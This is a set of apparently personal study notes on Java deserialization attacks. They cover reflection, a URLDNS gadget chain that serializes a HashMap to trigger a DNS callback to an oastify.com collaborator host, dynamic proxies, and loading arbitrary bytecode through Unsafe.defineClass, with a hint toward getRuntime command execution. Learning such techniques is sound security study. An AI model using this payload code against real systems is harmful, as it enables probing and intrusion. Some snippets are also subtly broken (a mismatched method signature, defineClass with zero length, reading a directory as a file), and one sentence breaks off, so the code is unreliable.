Java反序列化 Basic

Java Deserialization Attack First:

Reflection

Java reflection function:

1.make Java language more dynamic

2.Modify exiting object attributes

3.Dynamically create objects

4.Dynamically invoke methods

5.Operate internal and private methods

The essence of reflection is:

Reflection is the object of operation

e.g:

Student.java

import java.util.function.Function;

public class student {
    public String name = "xiaoming";
    private int age = 18;

    public student(String name,int age)
    {
        this.name = name;
        this.age = age;
    }
    
    private void action(String act)
    {
        System.out.println(age);
    }

}

ReflectionTest.java:

Please carefully read the node i write in the code

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.util.stream.StreamSupport;

public class ReflectionTest {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
        student stu = new student("poc",18);
//        System.out.println(stu);
        Class p  = stu.getClass();
        //Reflection is the object of operation

        //Instantiate an object from prototype class
        //p.newInstance();
        Constructor Studentconstructor = p.getConstructor(String.class,int.class);
        student a =  (student) Studentconstructor.newInstance("Harder",22);
        System.out.println(a);

        //Access the attributes inside a class.
        Field[] studentfields  = p.getDeclaredFields();
        for(Field f:studentfields){
            System.out.println(f);
        }
        Field namefield = p.getField("name");
        namefield.set(a,"Harder1"); // set methods one args equals to instanced class
        System.out.println(a);

        Field agefield = p.getDeclaredField("age");//GetDclaredField make private attributes no longer private,make the attributes accessible
        agefield.setAccessible(true);
        agefield.set(a,17);
        System.out.println(a);


        //Invoke the methods inside a class
        //Invoke the methods is similar as get class attributes
        //Both hava "Declared" make private no longer private
        Method[] studentmetheds= p.getMethods();
        for (Method m:studentmetheds){
            System.out.println(m);
        }


        Method actionmethod =  p.getDeclaredMethod("action",int.class);
        actionmethod.setAccessible(true);
        actionmethod.invoke(a,155555);

    }
}

URLDNS chain reference:

Reflection is more important in Deserialization.It's key!!!!

Note:

The module system introduced in Java 9 and later versions has added some new access controls, making it so that even when using setAccessible(true).

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.concurrent.Callable;

public class SerializationTest {

    public static void serialize(Object obj) throws IOException {
        try (ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("Harder.bin"))) {
            oss.writeObject(obj);
        }
    }
//http://q8zdo8mrly5occ3lly6vy22ch3nubj.oastify.com/
    public static void main(String[] args) throws IOException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
        //URL oss =new URL("http://q8zdo8mrly5occ3lly6vy22ch3nubj.oastify.com/");
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        URL url = new URL("http://q8zdo8mrly5occ3lly6vy22ch3nubj.oastify.com/");
        // Ensure that the hashcode's code is not -1 here,make not invoke urldns here
        // use reflection
        Class c = url.getClass();  // GetClass methods can make classes that are not serializable become serializable.
        //Constructor p = c.getConstructor(String.class,String.class,int.class,String.class);
        //p.newInstance("");  //public URL(String protocol, String host, int port, String file)

        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1111111112);

        hashmap.put(url,1);
        //But here,ensure that the hashcodo's code is -1.invoking urldns.
        hashcodefield.set(url,-1);
        serialize(hashmap);
    }


}

GetClass often use make getRuntime that are not serialization become serializable,next remote command execution

Dynamic proxy


import java.lang.reflect.Proxy;

public class ProxyTest {
    public static void main(String[] args) {
        IUser user = new UserImpl();
        user.show();
        // Static proxy
//        IUser userproxy = new UserPeoxy();
//        userproxy.show();
        // getclassloader,proxy 接口,要做的事情
        // Dynamically Proxy
        ProxyinvacationHandler proxyinvacationHandler = new ProxyinvacationHandler(user);
        IUser ProxyUser = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),user.getClass().getInterfaces(),proxyinvacationHandler);
        ProxyUser.show();

   }
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class ProxyinvacationHandler implements InvocationHandler {
// solve get method
    IUser user;
    public ProxyinvacationHandler()
    {

    }
    public ProxyinvacationHandler(IUser user){
        this.user = user;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了: "+method.getName());
        method.invoke(user,args);
        return null;
    }
}

Classloader

defineclass字节码加载任意类

URLClassloader加载任意类 私有

Unsafe.defineClass 字节码加载public类不能直接生成 spring里面可以直接生成

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Period;

public class LoaderClassTest {
    public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
//        new student("a",22);
        ClassLoader cl =ClassLoader.getSystemClassLoader();
//        //Class.forName("student",false,cl);
//        System.out.println(cl);
//        cl.loadClass("student");  // Loadclass don't init

//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\tmp\\classes\\")}); // jar: file:// http://
//        Class<?> c = urlClassLoader.loadClass("hello");

//        defineclassloader
//        Method classloadermethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
//        classloadermethod.setAccessible(true);
          byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\"));
//        Class c = (Class) new classloadermethod.invoke(cl,"Test",code,0,code.length);
//        c.newInstance();


        Class c = Unsafe.class;
        Field fildstheunsafe = c.getDeclaredField("theUnsafe");
        fildstheunsafe.setAccessible(true);
         Unsafe unsafe =  (Unsafe) fildstheunsafe.get(null);
         Class c2 = (Class) unsafe.defineClass("Test",code,0,0,cl,null);
        c2.newInstance();
        //c.newInstance();
    }
}

https://johnfrod.top/%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-%E5%9F%BA%E7%A1%80%E7%AF%87/

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java